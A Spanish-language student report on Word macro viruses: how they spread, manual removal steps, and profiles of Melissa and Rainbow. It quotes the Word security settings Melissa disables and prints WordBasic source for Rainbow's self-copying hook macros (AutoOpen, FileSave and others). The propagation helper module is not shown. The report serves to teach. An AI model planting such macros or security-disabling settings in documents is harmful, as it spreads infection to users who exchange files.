TRABAJO DE TEORIA

Virus de Macros

INICIO


Concepto Virus.

Introducción Virus Macro.

Virus de Macro en Word.

Eliminar Virus.

Algunos Virus Macro.

Virus Melissa.

Virus Rainbow.
 
 

CONCEPTO VIRUS


        Un virus es un programa informático. Una secuencia de instrucciones creadas con el único objetivo de alterar el correcto funcionamiento del sistema y en la inmensa mayoría de los casos, corromper o destruir parte o la totalidad de los datos almacenados en el disco duro.
        Un virus tiene tres características principales:

           -Es dañino. Un virus informático siempre causa daños en el sistema que infecta. Estos daños pueden ser directos sobre los datos almacenados en la computadora o pueden dirigirse hacia consumo de memoria principal, consumo de tiempo de cpu u otros recursos del sistema.
            -Se autorreproduce. Es quizás la característica más propia que les hace diferenciarse de los demás programas informáticos. A diferencia del resto de programas informáticos, los virus tienen la capacidad de realizar copias de sí mismos.
            -Intentan disimular su presencia. Intentan pasar desapercibidos para el usuario, para ello una de las técnicas que suelen utilizar es tener un tamaño reducido o bien manipular el resultado de una peticion al sistema operativo de mostrar sus atributos.
        Los virus informáticos no pueden causar daños directos sobre el hardware. En contrapartida si que pueden disminuir la vida útil de estos componentes (ej. hacer que el cabezal de L/E del disco duro se desplaze contínuamente para desgastarlo, que la impresora desplaze su cabezal...), aunque lo normal es que siempre ataquen los archivos.

inicio.

INTRODUCCIÓN VIRUS MACRO


        Son virus, que están siendo creados desde hace años, pero es desde 1995, cuando han experimentado un enorme auge y están empezando a convertirse en una peligrosa realidad. En Octubre de 1996 habían catalogados menos de 100 tipos distintos de macro-virus, en cambio en Mayo de 1997 su número había aumentado a 700.
        Representan una amenaza tanto para redes informáticas como para los ordenadores independientes. Su máximo peligro está en que son completamente independientes del sistema operativo o de la plataforma. Es más, ni si quiera son programas ejecutables.
        Los macro-virus son pequeños programas escritos en el lenguaje script o macro-lenguaje de un propio programa. Podemos encontrarnos macro-virus para editores de texto, hojas de cálculo y utilidades especializadas en la manipulación de imágenes.
        Sus autores los escriben para que se extiendan dentro de los documentos que crea el programa infectado. De ésta forma pueden extenderse rápidamente a otros ordenadores siempre que los usuarios intercambien documentos. Alteran de tal forma la información de los documentos infectados que su recuperación resulta imposible. Tan solo se ejecutan en aquellas plataformas que contengan la aplicación para la que fueron creados y que comprenda el lenguaje con el que fueron programados. Este método lo hace independiente de los sistemas operativos.
        El lenguaje de programación interno de ciertas aplicaciones se ha convertido en una poderosa herramienta de trabajo, pueden borrar archivos, modificar sus nombres e incluso modificar el contenido de éstos. Estas acciones son por lo tanto las que pueden realizar los macro-virus.

        A dia de hoy, la mayoría de los virus conocidos se han escrito en WordBasic de Microsoft, o incluso en la última versión de Visual Basic para aplicaciones (VBA). WordBasic es el lenguaje de programación interno de word para windows (a partir de la versión 6.0) y word 6.0 para macintosh. Debido a que VBA se ejecuta cada vez que un usuario carga cualquier programa de Microsoft Office, los macro-virus escritos en este lenguaje representan una seria amenaza. Si ha esto, le sumamos que estas aplicaciones están cada dia más en uso, el problema de estos virus parece claro.

inicio.

VIRUS DE MACRO EN WORD


        Microsoft Word es una de las aplicaciones más utilizadas por estos virus. Entre las razones que hay para que utilicen ésta aplicación, destacamos las siguientes:

-Microsoft Word está muy difundido, por lo que un macro-virus para ésta aplicación tendrá un gran impacto. Además, Microsoft Word es un producto pensando para plataformas cruzadas, disponible para DOS, Windows 9x, Windows NT y Mac OS, con lo que se amplía enormemente la posibilidad de infección.
-La plantilla normal de Word (para windows normal.dot) contiene todas las macros que se pueden utilizar con Word. Para un macro-virus esta plantilla es el lugar perfecto, en el cual puede incubar sus virus y copiarlos luego a otros documentos de word o incluso a otras aplicaciones de Microsoft.
-Microsoft Word puede ejecutar automáticamente macros sin necesidad del consentimiento humano. Esta habilidad hace que el autor de macro-virus asocie sus programas con algún tipo de macro legítima. Word utiliza macros para (entre otras cosas) abrir y cerrar documentos, e incluso para cerrar su propio programa.
-Comparado con la dificultad que siempre implica programar en lenguaje ensamblador, escribir en el lenguaje de programación de Word (WordBasic, VBA) es muy sencillo.
-Los usuarios suelen pegar sus documetos de Word a sus mensajes de correo electrónico, publicarlos en sitios FTP o bien mandarlos a una lista de mail. Como nos podemos figurar la cantidad de gente que se puede ver infectada por éste tipo de virus, es enorme.
        Un macro-virus para Word también es capaz de sobreescribir las opciones Guardar, Guardar Como y Nuevo del menú archivo, para asegurar su permanencia. Sobreescribir estas opciones no representa ningún tipo de problema, basta con copiar la macro al documento y copiarla a otra macro con las modificaciones deseadas. Las nuevas macros introducidas por los virus son guardadas con nombres como "AAAZAO,AAAZFS,AutoOpen,Payload,SaveFileAs,etc".La naturaleza polimorfa de este tipo de virus es una de las razones que los convierten en tan peligrosos.

        Word 7.0 para Windows 95 y NT y Microsoft Word 97 avisan automáticamente a sus usuarios cuando abren un documento y este contiene macros. Además, Microsoft proporciona una herramienta de protección contra los virus, llamada MVP, válida para sus usuarios de Windows y Macintosh. Dicha herramienta instala una serie de macros que detectan cualquier macro sospechosa y avisa al usuario del peligro que conlleva abrir un documento determinado. En las últimas versiones de Microsoft Word (a partir de la 7.0) hay un detalle que las hace menos susceptibles ante la infección de los macro-virus de Word. Y es que, al igual que las últimas versiones de programas como Excel, Acces y PowerPoint se ha cambiado el lenguaje de programación interno. Microsoft utiliza un lenguaje nuevo, Visual Basic para aplicaciones  5.0 (VBA). Además, las últimas versiones de chamaleon (de NetManage), Photoshop (de Adobe) y AutoCAD (de AutoDesk) utilizan VBA.
        Es una buena noticia saber que el cambio de lenguaje anulará la mayoría de los macro-virus de word. Sin embargo la aparición de VBA 5.0 y su aceptación entre las aplicaciones indica que nos encontramos ante una nueva era de macro-virus.

inicio.

ELIMINAR VIRUS


        Los pasos que se deberían seguir para eliminar macro-virus son los siguientes:

1  Activar la protección antivirus si está desactivada. 2  Abrir el documento infectado, teniendo en cuenta que, cuando se presente la ventana de advertencia, se debe elegir la ópcion Abrir sin Macros para no infectarse.
3  Una vez abierto el documento, elegir, dentro del Menú Herramientas, la opción Macro y dentro de ella, la que dice Editor de Visual Basic, o directamente, presionar la combinación de teclas ALT+F11. Donde, en la parte izquierda de la pantalla, se podrá observar un cuadro que dice "Proyecto -..." y el nombre del archivo abierto, en este caso Normal.
4  Se debe desplegar cada uno de los ítems de ese cuadro para ver el código de las macros. Al hacer doble click sobre alguno de éstos elementos, se abrirá una nueva ventana con código.
5  Se debe marcar el texto que aparece en la nueva ventana, y eliminarlo como se haría con cualquier texto. Al hacer esto se estarán eliminando las macros que contiene el documento, lo que eliminará por completo el macrovirus.
Estos pasos deben repetirse por todos los elementos que se encuentren en el cuadro Proyectos.
inicio.

ALGUNOS VIRUS MACRO


       El primer virus de este tipo que salió a la luz se llamaba "WordMacro/DMV" y era inofensivo, ya que solo anunciaba su presencia y guardaba un informe de sus acciones.
        "WinMacro/Concept", también conocido como "WW6Infector", "WBMV-Word Basic Macro Virus" o "WWW6 Macro", no es demasiado molesto, ya que al activarse infecta el fichero "normal.dot" y solo muestra en pantalla un cuadro de diálogo con el texto "1".
        "WordMacro/Nuclear", puede llegar a introducir un virus tradicional en el sistema o modificar la salida impresa o por fax en determinados momentos.
        "WordMacro/Colors", también conocido por Rainbow o arco iris, cambia (cada 300 ejecuciones de la macro) la configuración de colores de windows.

inicio.

VIRUS MELISSA


    El mensaje con el que el virus se propaga por la red es de la siguiente manera:
        -From: (nombre del usuario infectado)
        -Subject: Important message from (nombre del usuario infectado)
        -To: (50 direcciones extraidas del libro de direcciones)
        Here is that document you asked for...don't show anyone else ;-)
    Este virus es capaz de infectar documentos de word 97 y word 2000 tanto de windows como de macintosh. Cuando el documento infectado por el virus Melissa es abierto por el word, el virus desactiva la protección de seguridad, contra virus de macro, en caso de word 2000, esto seria de la forma:
    "Macro.Security...=FALSE"
    "Options.ConfirmConversions=0"
    "Options.VirusProtection=0"
    "Options.SaveNormalPrompt=0" si se ejecuta en word 97.
    El virus comprueba si ya había infectado el sistema buscando en el registro "HKCU...\Software\Microsoft\Office\Melissa?" la cadena "..by Kwyjibo". Si el usuario posee el outlook (version 98 o 2000) en su ordenador, el virus lo utiliza para enviar 50 mensajes con el fichero infectado a las 50 primeras direcciones electronicas que encuentra en el libro de direcciones, pero si el usuario no tiene el outlook o no tiene conexión a internet el virus sigue su propagación a traves de documentos que se abran en esa máquina infectando el fichero NORMAL.DOC.
    Dentro del virus podemos encontrar el siguiente mensaje:
 
    WORD/Melissa Written by Kwyjibo
    Works in both Word 2000 and Word 97
    Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You decide!
    Word->Email | Word 97 <--> Word 2000....it's a new age!

    Cuando un documento es abierto el virus comprueba el minuto en el que se encuentra y el dia del mes si ambos coinciden el virus inserta el siguiente texto "Twenty-two points,plus triple-word-score,plus fifty points for using all my letters.Game's over.I'm outta here" en el documento.

inicio

VIRUS RAINBOW


Este virus se compone de 8 macros:
    -FileSaveAs.
            Macro FileSaveAs
                Sub MAIN
                    On Error Goto ErrorRoutine
                    If macros.bDebug Then MsgBox "start FileSaveAs"
                    DésactiverMacrosAuto 0
                    Dim dlg As FichierEnregistrerSous
                    GetCurValues dlg
                    bDoSaveToDoc = - 1
                    On Error Goto CancelSaveToDoc
                    Dialog dlg
                    Goto SkipCancel
                CancelSaveToDoc:
                    bDoSaveToDoc = 0
                SkipCancel:
                    On Error Goto ErrorRoutine
                    If bDoSaveToDoc Then
                        If macros.bDebug Then MsgBox "in If bDoSaveToDoc"
                        REM if saved as word doc => save as template
                        If dlg.Format = 0 Then dlg.Format = 1
                        If dlg.Format = 1 Then
                            macros.SavToGlobal(dlg.Nom)
                            macros.SavToDoc(dlg.Nom)
                            macros.SavToDoc(NomFichier$())
                            FichierEnregistrerSous dlg
                        End If
                    End If
                    macros.objectiv
                    Goto Done
                ErrorRoutine:
                    If Err <> 102 Then
                        FichierEnregistrerSous dlg
                    End If
                    On Error Goto Done
                    If macros.bDebug Then
                        MsgBox "error " + Str$(Err) + " occurred"
                    End If
                Done:
                End Sub
    -ToolsMacro.
            Macro ToolsMacro
                Sub MAIN
                    On Error Goto ErrorRoutine
                    OldName$ = NomFichier$()
                    If macros.bDebug Then
                        MsgBox "start ToolsMacro"
                        Dim dlg As OutilsMacro
                        If macros.bDebug Then MsgBox "1"
                        GetCurValues dlg
                        If macros.bDebug Then MsgBox "2"
                        On Error Goto Skip
                        Dialog dlg
                        OutilsMacro dlg
                Skip:
                    On Error Goto ErrorRoutine
                    End If
                    REM enable automacros
                    DésactiverMacrosAuto 0
                    macros.SavToGlobal(OldName$)
                    macros.objectiv
                    Goto Done
                ErrorRoutine:
                    On Error Goto Done
                    If macros.bDebug Then
                        MsgBox "error " + Str$(Err) + " occurred"
                    End If
                Done:
                End Sub
    -FileSave.
            Macro FileSave
                Sub MAIN
                    On Error Goto ErrorRoutine
                    If macros.bDebug Then MsgBox "start FileSave"
                    REM enable AutoMacros
                    DésactiverMacrosAuto 0
                    macros.SavToDoc(NomFichier$())
                    macros.SavToGlobal(NomFichier$())
                    macros.objectiv
                    FichierEnregistrer
                    Goto Done
                ErrorRoutine:
                    If Err <> 102 Then
                        FichierEnregistrer
                    End If
                    On Error Goto Done
                    If macros.bDebug Then
                        MsgBox "error " + Str$(Err) + " occurred"
                    End If
                Done:
                End Sub
    -FileNew.
            Macro FileNew
                Sub MAIN
                    On Error Goto ErrorRoutine
                    If macros.bDebug Then MsgBox "start FileNew"
                    REM enable AutoMacros
                    DésactiverMacrosAuto 0
                    Dim dlg As FichierNouveau
                    GetCurValues dlg
                    Dialog dlg
                    If dlg.NouvModèle = 0 Then dlg.NouvModèle = 1
                    FichierNouveau dlg
                    macros.SavToDoc(NomFichier$())
                    macros.SavToGlobal(NomFichier$())
                    macros.objectiv
                    Goto Done
                ErrorRoutine:
                    If Err <> 102 Then
                        FichierNouveau dlg
                    End If
                    On Error Goto Done
                    If macros.bDebug Then
                        MsgBox "error " + Str$(Err) + " occurred"
                    End If
                Done:
                End Sub
    -FileExit.
         Macro FileExit
            Sub MAIN
                On Error Goto ErrorRoutine
                If macros.bDebug Then MsgBox "start FileExit"
                REM enable automacros
                DésactiverMacrosAuto 0
                macros.SavToGlobal(NomFichier$())
                macros.objectiv
                FichierQuitter
                Goto Done
            ErrorRoutine:
                On Error Goto Done
                If macros.bDebug Then
                    MsgBox "error " + Str$(Err) + " occurred"
                End If
            Done:
            End Sub
    -AutoOpen.
         Macro AutoOpen
            Sub MAIN
                On Error Goto ErrorRoutine
                 If macros.bDebug Then MsgBox "start AutoOpen"
                macros.SavToGlobal(NomFichier$())
                macros.objectiv
                Goto Done
            ErrorRoutine:
                On Error Goto Done
                If macros.bDebug Then
                    MsgBox "error " + Str$(Err) + " occurred"
                End If
            Done:
            End Sub
    -AutoExec.
            Macro AutoExec
            Sub MAIN
                    REM dummy macro
            End Sub
    -AutoClose.
         Macro AutoClose
            Sub MAIN
                On Error Goto ErrorRoutine
                If macros.bDebug Then MsgBox "start AutoClose"
                macros.SavToGlobal(NomFichier$())
                macros.objectiv
                Goto Done
            ErrorRoutine:
                On Error Goto Done
                If macros.bDebug Then
                    MsgBox "error " + Str$(Err) + " occurred"
                End If
            Done:
            End Sub

El virus mantiene un contador en win.ini, donde (una linea "countersu =") es incrementado durante la ejecución de las macros. Despues de 300 incrementos aproximadamente el virus modificará el sistema cambiando la configuración de colores.

inicio.